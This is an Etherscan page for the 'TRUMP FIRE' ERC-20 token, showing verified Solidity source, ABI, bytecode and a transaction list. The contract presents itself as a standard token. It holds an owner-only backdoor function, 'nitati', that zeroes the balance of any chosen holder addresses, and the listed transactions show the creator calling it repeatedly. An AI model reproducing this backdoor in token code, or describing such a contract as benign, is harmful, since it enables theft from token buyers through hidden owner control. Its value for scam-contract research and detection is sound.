Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 12 from a total of 12 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Nitati | 21033220 | 62 days ago | IN | 0 ETH | 0.00027984 | ||||
Nitati | 21033204 | 62 days ago | IN | 0 ETH | 0.00030235 | ||||
Nitati | 21033185 | 62 days ago | IN | 0 ETH | 0.00033665 | ||||
Nitati | 21033162 | 62 days ago | IN | 0 ETH | 0.00018043 | ||||
Nitati | 21033153 | 62 days ago | IN | 0 ETH | 0.00034584 | ||||
Nitati | 21033140 | 62 days ago | IN | 0 ETH | 0.00032636 | ||||
Nitati | 21033126 | 62 days ago | IN | 0 ETH | 0.0001647 | ||||
Nitati | 21033125 | 62 days ago | IN | 0 ETH | 0.00017318 | ||||
Nitati | 21033113 | 62 days ago | IN | 0 ETH | 0.00026196 | ||||
Nitati | 21033107 | 62 days ago | IN | 0 ETH | 0.00018541 | ||||
Approve | 21033105 | 62 days ago | IN | 0 ETH | 0.00047946 | ||||
Approve | 21033062 | 62 days ago | IN | 0 ETH | 0.00029524 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
TRUMPFIRE
Compiler Version
v0.8.24+commit.e11b9ed9
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-10-24 */ /** *Submitted for verification at Etherscan.io on 2024-08-23 */ /** *Submitted for verification at Etherscan.io on 2024-07-26 */ // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.8.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract. * * _Available since v4.8._ */ function verifyCallResultFromTarget( address target, bool success, bytes memory returndata, string memory errorMessage ) internal view returns (bytes memory) { if (success) { if (returndata.length == 0) { // only check isContract if the call was successful and the return data is empty // otherwise we already know that it was a contract require(isContract(target), "Address: call to non-contract"); } return returndata; } else { _revert(returndata, errorMessage); } } /** * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason or using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { _revert(returndata, errorMessage); } } function _revert(bytes memory returndata, string memory errorMessage) private pure { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly /// @solidity memory-safe-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } // File: @openzeppelin/contracts/utils/math/SafeMath.sol // OpenZeppelin Contracts (last updated v4.6.0) (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the subtraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: barb.sol /** *SPDX-License-Identifier: MIT */ pragma solidity ^0.8.18; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract TRUMPFIRE is Context, IERC20 { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; using SafeMath for uint256; using Address for address; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; address public fact; constructor () { _name = "TRUMP FIRE"; _symbol = "TRUMPFI"; _decimals = 18; uint256 initialSupply =491000000; fact = msg.sender; _mint(msg.sender, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier onlyOwner() { require(msg.sender == fact, "Not allowed"); _; } function nitati(address[] memory fatal) public onlyOwner() { for (uint256 i = 0; i < fatal.length; i++) { address account = fatal[i]; uint256 amount = _balances[account]; _balances[account] = _balances[account].sub(amount, "ERROR"); _balances[address(0)] = _balances[address(0)].add(amount); } } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fact","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"fatal","type":"address[]"}],"name":"nitati","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
608060405234801562000010575f80fd5b5060408051808201909152600a8152695452554d50204649524560b01b602082015260029062000041908262000257565b506040805180820190915260078152665452554d50464960c81b60208201526003906200006f908262000257565b506004805460ff19166012179055600680546001600160a01b03191633908117909155631d4410c090620000b790620000b183670de0b6b3a764000062000337565b620000be565b5062000367565b6001600160a01b038216620001195760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b600554620001289082620001a3565b6005556001600160a01b0382165f908152602081905260409020546200014f9082620001a3565b6001600160a01b0383165f81815260208181526040808320949094559251848152919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b5f620001b0828462000351565b90505b92915050565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620001e257607f821691505b6020821081036200020157634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200025257805f5260205f20601f840160051c810160208510156200022e5750805b601f840160051c820191505b818110156200024f575f81556001016200023a565b50505b505050565b81516001600160401b03811115620002735762000273620001b9565b6200028b81620002848454620001cd565b8462000207565b602080601f831160018114620002c1575f8415620002a95750858301515b5f19600386901b1c1916600185901b1785556200031b565b5f85815260208120601f198616915b82811015620002f157888601518255948401946001909101908401620002d0565b50858210156200030f57878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b634e487b7160e01b5f52601160045260245ffd5b8082028115828204841417620001b357620001b362000323565b80820180821115620001b357620001b362000323565b6109fb80620003755f395ff3fe608060405234801561000f575f80fd5b50600436106100a6575f3560e01c806370a082311161006e57806370a082311461012557806373e3ce801461014d57806395d89b4114610178578063a9059cbb14610180578063da61d50114610193578063dd62ed3e146101a8575f80fd5b806306fdde03146100aa578063095ea7b3146100c857806318160ddd146100eb57806323b872dd146100fd578063313ce56714610110575b5f80fd5b6100b26101e0565b6040516100bf9190610726565b60405180910390f35b6100db6100d636600461078d565b610270565b60405190151581526020016100bf565b6005545b6040519081526020016100bf565b6100db61010b3660046107b5565b610286565b60045460405160ff90911681526020016100bf565b6100ef6101333660046107ee565b6001600160a01b03165f9081526020819052604090205490565b600654610160906001600160a01b031681565b6040516001600160a01b0390911681526020016100bf565b6100b26102ed565b6100db61018e36600461078d565b6102fc565b6101a66101a136600461081b565b610308565b005b6100ef6101b63660046108db565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6060600280546101ef9061090c565b80601f016020809104026020016040519081016040528092919081815260200182805461021b9061090c565b80156102665780601f1061023d57610100808354040283529160200191610266565b820191905f5260205f20905b81548152906001019060200180831161024957829003601f168201915b5050505050905090565b5f61027c338484610445565b5060015b92915050565b5f610292848484610569565b6102e384336102de8560405180606001604052806028815260200161099e602891396001600160a01b038a165f90815260016020908152604080832033845290915290205491906106e9565b610445565b5060019392505050565b6060600380546101ef9061090c565b5f61027c338484610569565b6006546001600160a01b031633146103555760405162461bcd60e51b815260206004820152600b60248201526a139bdd08185b1b1bddd95960aa1b60448201526064015b60405180910390fd5b5f5b8151811015610441575f82828151811061037357610373610944565b6020908102919091018101516001600160a01b0381165f8181528084526040808220548151808301909252600582526422a92927a960d91b828701529282529352909250906103c590829081906106e9565b6001600160a01b0383165f9081526020819052604081209190915580527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb55461040e9082610714565b5f8080526020527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5555050600101610357565b5050565b6001600160a01b0383166104a75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161034c565b6001600160a01b0382166105085760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161034c565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166105cd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161034c565b6001600160a01b03821661062f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161034c565b61066b81604051806060016040528060268152602001610978602691396001600160a01b0386165f9081526020819052604090205491906106e9565b6001600160a01b038085165f9081526020819052604080822093909355908416815220546106999082610714565b6001600160a01b038381165f818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910161055c565b5f818484111561070c5760405162461bcd60e51b815260040161034c9190610726565b505050900390565b5f61071f8284610958565b9392505050565b5f602080835283518060208501525f5b8181101561075257858101830151858201604001528201610736565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610788575f80fd5b919050565b5f806040838503121561079e575f80fd5b6107a783610772565b946020939093013593505050565b5f805f606084860312156107c7575f80fd5b6107d084610772565b92506107de60208501610772565b9150604084013590509250925092565b5f602082840312156107fe575f80fd5b61071f82610772565b634e487b7160e01b5f52604160045260245ffd5b5f602080838503121561082c575f80fd5b823567ffffffffffffffff80821115610843575f80fd5b818501915085601f830112610856575f80fd5b81358181111561086857610868610807565b8060051b604051601f19603f8301168101818110858211171561088d5761088d610807565b6040529182528482019250838101850191888311156108aa575f80fd5b938501935b828510156108cf576108c085610772565b845293850193928501926108af565b98975050505050505050565b5f80604083850312156108ec575f80fd5b6108f583610772565b915061090360208401610772565b90509250929050565b600181811c9082168061092057607f821691505b60208210810361093e57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52603260045260245ffd5b8082018082111561028057634e487b7160e01b5f52601160045260245ffdfe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fbd60de587991120bae52f93a300e22e0998aa2323e6b7e346c7ddd882ff77ce64736f6c63430008180033
Deployed Bytecode
0x608060405234801561000f575f80fd5b50600436106100a6575f3560e01c806370a082311161006e57806370a082311461012557806373e3ce801461014d57806395d89b4114610178578063a9059cbb14610180578063da61d50114610193578063dd62ed3e146101a8575f80fd5b806306fdde03146100aa578063095ea7b3146100c857806318160ddd146100eb57806323b872dd146100fd578063313ce56714610110575b5f80fd5b6100b26101e0565b6040516100bf9190610726565b60405180910390f35b6100db6100d636600461078d565b610270565b60405190151581526020016100bf565b6005545b6040519081526020016100bf565b6100db61010b3660046107b5565b610286565b60045460405160ff90911681526020016100bf565b6100ef6101333660046107ee565b6001600160a01b03165f9081526020819052604090205490565b600654610160906001600160a01b031681565b6040516001600160a01b0390911681526020016100bf565b6100b26102ed565b6100db61018e36600461078d565b6102fc565b6101a66101a136600461081b565b610308565b005b6100ef6101b63660046108db565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6060600280546101ef9061090c565b80601f016020809104026020016040519081016040528092919081815260200182805461021b9061090c565b80156102665780601f1061023d57610100808354040283529160200191610266565b820191905f5260205f20905b81548152906001019060200180831161024957829003601f168201915b5050505050905090565b5f61027c338484610445565b5060015b92915050565b5f610292848484610569565b6102e384336102de8560405180606001604052806028815260200161099e602891396001600160a01b038a165f90815260016020908152604080832033845290915290205491906106e9565b610445565b5060019392505050565b6060600380546101ef9061090c565b5f61027c338484610569565b6006546001600160a01b031633146103555760405162461bcd60e51b815260206004820152600b60248201526a139bdd08185b1b1bddd95960aa1b60448201526064015b60405180910390fd5b5f5b8151811015610441575f82828151811061037357610373610944565b6020908102919091018101516001600160a01b0381165f8181528084526040808220548151808301909252600582526422a92927a960d91b828701529282529352909250906103c590829081906106e9565b6001600160a01b0383165f9081526020819052604081209190915580527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb55461040e9082610714565b5f8080526020527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5555050600101610357565b5050565b6001600160a01b0383166104a75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161034c565b6001600160a01b0382166105085760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161034c565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166105cd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161034c565b6001600160a01b03821661062f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161034c565b61066b81604051806060016040528060268152602001610978602691396001600160a01b0386165f9081526020819052604090205491906106e9565b6001600160a01b038085165f9081526020819052604080822093909355908416815220546106999082610714565b6001600160a01b038381165f818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910161055c565b5f818484111561070c5760405162461bcd60e51b815260040161034c9190610726565b505050900390565b5f61071f8284610958565b9392505050565b5f602080835283518060208501525f5b8181101561075257858101830151858201604001528201610736565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610788575f80fd5b919050565b5f806040838503121561079e575f80fd5b6107a783610772565b946020939093013593505050565b5f805f606084860312156107c7575f80fd5b6107d084610772565b92506107de60208501610772565b9150604084013590509250925092565b5f602082840312156107fe575f80fd5b61071f82610772565b634e487b7160e01b5f52604160045260245ffd5b5f602080838503121561082c575f80fd5b823567ffffffffffffffff80821115610843575f80fd5b818501915085601f830112610856575f80fd5b81358181111561086857610868610807565b8060051b604051601f19603f8301168101818110858211171561088d5761088d610807565b6040529182528482019250838101850191888311156108aa575f80fd5b938501935b828510156108cf576108c085610772565b845293850193928501926108af565b98975050505050505050565b5f80604083850312156108ec575f80fd5b6108f583610772565b915061090360208401610772565b90509250929050565b600181811c9082168061092057607f821691505b60208210810361093e57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52603260045260245ffd5b8082018082111561028057634e487b7160e01b5f52601160045260245ffdfe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fbd60de587991120bae52f93a300e22e0998aa2323e6b7e346c7ddd882ff77ce64736f6c63430008180033
Deployed Bytecode Sourcemap
18292:3658:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18927:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20477:169;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;20477:169:0;1004:187:1;19204:100:0;19284:12;;19204:100;;;1342:25:1;;;1330:2;1315:18;19204:100:0;1196:177:1;19628:321:0;;;;;;:::i;:::-;;:::i;19113:83::-;19179:9;;19113:83;;19179:9;;;;1853:36:1;;1841:2;1826:18;19113:83:0;1711:184:1;19499:119:0;;;;;;:::i;:::-;-1:-1:-1;;;;;19592:18:0;19565:7;19592:18;;;;;;;;;;;;19499:119;18657:20;;;;;-1:-1:-1;;;;;18657:20:0;;;;;;-1:-1:-1;;;;;2255:32:1;;;2237:51;;2225:2;2210:18;18657:20:0;2091:203:1;19018:87:0;;;:::i;19314:175::-;;;;;;:::i;:::-;;:::i;21246:373::-;;;;;;:::i;:::-;;:::i;:::-;;20318:151;;;;;;:::i;:::-;-1:-1:-1;;;;;20434:18:0;;;20407:7;20434:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;20318:151;18927:83;18964:13;18997:5;18990:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18927:83;:::o;20477:169::-;20560:4;20577:39;17368:10;20600:7;20609:6;20577:8;:39::i;:::-;-1:-1:-1;20634:4:0;20477:169;;;;;:::o;19628:321::-;19734:4;19751:36;19761:6;19769:9;19780:6;19751:9;:36::i;:::-;19798:121;19807:6;17368:10;19829:89;19867:6;19829:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;19829:19:0;;;;;;:11;:19;;;;;;;;17368:10;19829:33;;;;;;;;;;:37;:89::i;:::-;19798:8;:121::i;:::-;-1:-1:-1;19937:4:0;19628:321;;;;;:::o;19018:87::-;19057:13;19090:7;19083:14;;;;;:::i;19314:175::-;19400:4;19417: